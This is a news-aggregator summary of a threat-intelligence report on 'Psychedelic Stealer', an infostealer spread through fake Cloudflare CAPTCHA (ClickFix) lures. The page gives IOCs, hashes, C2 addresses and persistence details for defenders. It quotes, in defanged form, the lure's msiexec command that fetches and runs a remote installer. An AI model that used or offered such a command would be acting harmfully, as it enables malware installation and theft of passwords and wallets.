--- title: The Psychedelic Stealer: When a CAPTCHA Becomes an Installer description: Arctic Wolf Labs has identified an ongoing campaign targeting Ukrainian business websites by injecting iframes that display a fake Cloudflare CAPTCHA... canonical: https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu twitter:card: summary_large_image twitter:site: @dailydotdev og:type: website og:site_name: daily.dev og:title: The Psychedelic Stealer: When a CAPTCHA Becomes an Installer | daily.dev og:description: Arctic Wolf Labs has identified an ongoing campaign targeting Ukrainian business websites by injecting iframes that display a fake Cloudflare CAPTCHA... og:url: https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu og:image: https://api.daily.dev/og/posts/tNKooGCLu.png og:image:alt: The Psychedelic Stealer: When a CAPTCHA Becomes an Installer og:image:width: 1200 og:image:height: 630 og:locale: en --- > ## Documentation Index > Fetch the complete documentation index at: https://daily.dev/llms.txt > Use this file to discover all available pages before exploring further. # The Psychedelic Stealer: When a CAPTCHA Becomes an Installer **[Arctic Wolf](https://daily.dev/sources/arcticwolf)** · 17 min read · 0 upvotes · 0 comments ## Summary Arctic Wolf Labs has identified an ongoing campaign targeting Ukrainian business websites by injecting iframes that display a fake Cloudflare CAPTCHA (ClickFix-style lure). When visitors interact with the page, a Windows Installer (msiexec) command is copied to their clipboard and they are instructed to run it via Windows Run dialog. This installs a previously unknown infostealer dubbed Psychedelic Stealer, which harvests browser passwords, account tokens, and cryptocurrency wallet data from Chromium-based browsers and desktop wallets (MetaMask, Trust Wallet, Exodus, Electrum, Bitcoin Core, and others). The malware establishes scheduled-task persistence, deploys a native browser messaging bridge, and polls a C2 server for additional tasks. An exposed lure-management panel branded 'РУБЛЁВКА TDS' recorded 557 views across 32 countries, with 446 attributed to Ukraine. Russian-language code artifacts suggest Russian operators, though no specific threat group attribution has been made. IOCs, file hashes, wallet extension IDs, and hunting guidance are included. ## Full article daily.dev links to this article rather than hosting it. Read it at the original source: ## Questions this post answers ### What is Psychedelic Stealer and what data does it steal? Psychedelic Stealer is a previously unidentified 64-bit Windows infostealer (SHA-256: 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90) delivered via a fake Cloudflare CAPTCHA ClickFix campaign. It targets browser passwords, account tokens, and cryptocurrency wallet data from Chromium-based browsers (Chrome, Edge, Brave, Opera, Vivaldi, Yandex) and desktop wallets including Exodus, Electrum, Bitcoin Core, and Litecoin Core. It also establishes scheduled-task persistence and polls a C2 for additional payloads. _Security teams tracking new infostealers and their IOCs find the latest threat intelligence on daily.dev._ ### How does the ClickFix CAPTCHA attack deliver malware using msiexec instead of PowerShell? The lure copies an msiexec command to the clipboard — 'Msiexec.exe /i hxxps://uasputnik[.]com/elita.msi /passive ORG_NOTE=...' — and instructs the visitor to paste it into the Windows Run dialog. Using Windows Installer directly bypasses detections that only look for encoded PowerShell commands. The MSI then retrieves and executes the final payload, psychedeliclove.exe, from a secondary host. _Defenders watching for novel delivery techniques that evade PowerShell-focused detections track campaigns like this on daily.dev._ ### What are the IOCs and persistence mechanisms for the Psychedelic Stealer campaign? Key IOCs include the domain uasputnik[.]com (IP 176.53.159[.]40), C2 at 193.178.159[.]128:8080, and executable psychedeliclove.exe (SHA-256: 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90). Persistence is established via a logon scheduled task named psychedelicloveUtils. A native messaging bridge (com.lunex.explorer) is also deployed. The implant tracks task state in executed_tasks.json and supports EXE, BAT, MSI, and PowerShell follow-on payloads. _Threat hunters building detection rules for campaigns like this stay current on daily.dev._ ## Similar posts on daily.dev - [ClickFix techniques evolve in new infostealer campaigns](https://daily.dev/posts/clickfix-techniques-evolve-in-new-infostealer-campaigns-mufrpsfhw) · CSO Online · 0 upvotes · 0 comments - [Hacked sites deliver Vidar infostealer to Windows users](https://daily.dev/posts/hacked-sites-deliver-vidar-infostealer-to-windows-users-hv8wpqgjz) · Security Boulevard · 0 upvotes · 0 comments - [Australia warns of ClickFix attacks pushing Vidar Stealer malware](https://daily.dev/posts/australia-warns-of-clickfix-attacks-pushing-vidar-stealer-malware-weapq5ob2) · BleepingComputer · 2 upvotes · 0 comments --- Tags: [#security](https://daily.dev/tags/security), [#crypto](https://daily.dev/tags/crypto), [#malware](https://daily.dev/tags/malware) [View this post on daily.dev](https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu) ```json {"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://daily.dev/#organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180},"sameAs":["https://twitter.com/dailydotdev","https://github.com/dailydotdev","https://www.linkedin.com/company/daily-dev-ltd"]},{"@type":"WebSite","@id":"https://daily.dev/#website","url":"https://daily.dev","name":"daily.dev","publisher":{"@id":"https://daily.dev/#organization"},"potentialAction":{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://daily.dev/search?q={search_term_string}"},"query-input":"required name=search_term_string"}}]} {"@context":"https://schema.org","@type":"TechArticle","headline":"The Psychedelic Stealer: When a CAPTCHA Becomes an Installer","url":"https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu","mainEntityOfPage":{"@type":"WebPage","@id":"https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu"},"datePublished":"2026-09-24T13:02:47.723Z","dateModified":"2026-09-24T13:03:35.564Z","description":"Arctic Wolf Labs has identified an ongoing campaign targeting Ukrainian business websites by injecting iframes that display a fake Cloudflare CAPTCHA...","image":"https://media.daily.dev/image/upload/f_auto,q_auto/v1/posts/0eda558f0b1787b3cae8379031e2720a?_a=AQAEuop","thumbnailUrl":"https://media.daily.dev/image/upload/f_auto,q_auto/v1/posts/0eda558f0b1787b3cae8379031e2720a?_a=AQAEuop","isAccessibleForFree":true,"articleSection":"Arctic Wolf","inLanguage":"en","publisher":{"@type":"Organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180}},"author":{"@type":"Organization","name":"Arctic Wolf","logo":"https://media.daily.dev/image/upload/t_logo,f_auto/v1/logos/30920b37616d4d80ad2b810a4b9f6b2e","url":"https://daily.dev/sources/arcticwolf"},"commentCount":0,"discussionUrl":"https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu","interactionStatistic":[{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":0},{"@type":"InteractionCounter","interactionType":{"@type":"CommentAction"},"userInteractionCount":0}],"keywords":"security,crypto,malware","timeRequired":"PT17M"} {"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://daily.dev"},{"@type":"ListItem","position":2,"name":"Arctic Wolf","item":"https://daily.dev/sources/arcticwolf"},{"@type":"ListItem","position":3,"name":"The Psychedelic Stealer: When a CAPTCHA Becomes an Installer"}]} {"@context":"https://schema.org","@type":"FAQPage","@id":"https://daily.dev/posts/the-psychedelic-stealer-when-a-captcha-becomes-an-installer-tnkoogclu#faq","mainEntity":[{"@type":"Question","name":"What is Psychedelic Stealer and what data does it steal?","acceptedAnswer":{"@type":"Answer","text":"Psychedelic Stealer is a previously unidentified 64-bit Windows infostealer (SHA-256: 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90) delivered via a fake Cloudflare CAPTCHA ClickFix campaign. It targets browser passwords, account tokens, and cryptocurrency wallet data from Chromium-based browsers (Chrome, Edge, Brave, Opera, Vivaldi, Yandex) and desktop wallets including Exodus, Electrum, Bitcoin Core, and Litecoin Core. It also establishes scheduled-task persistence and polls a C2 for additional payloads. Security teams tracking new infostealers and their IOCs find the latest threat intelligence on daily.dev."}},{"@type":"Question","name":"How does the ClickFix CAPTCHA attack deliver malware using msiexec instead of PowerShell?","acceptedAnswer":{"@type":"Answer","text":"The lure copies an msiexec command to the clipboard — 'Msiexec.exe /i hxxps://uasputnik[.]com/elita.msi /passive ORG_NOTE=...' — and instructs the visitor to paste it into the Windows Run dialog. Using Windows Installer directly bypasses detections that only look for encoded PowerShell commands. The MSI then retrieves and executes the final payload, psychedeliclove.exe, from a secondary host. Defenders watching for novel delivery techniques that evade PowerShell-focused detections track campaigns like this on daily.dev."}},{"@type":"Question","name":"What are the IOCs and persistence mechanisms for the Psychedelic Stealer campaign?","acceptedAnswer":{"@type":"Answer","text":"Key IOCs include the domain uasputnik[.]com (IP 176.53.159[.]40), C2 at 193.178.159[.]128:8080, and executable psychedeliclove.exe (SHA-256: 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90). Persistence is established via a logon scheduled task named psychedelicloveUtils. A native messaging bridge (com.lunex.explorer) is also deployed. The implant tracks task state in executed_tasks.json and supports EXE, BAT, MSI, and PowerShell follow-on payloads. Threat hunters building detection rules for campaigns like this stay current on daily.dev."}}]} ```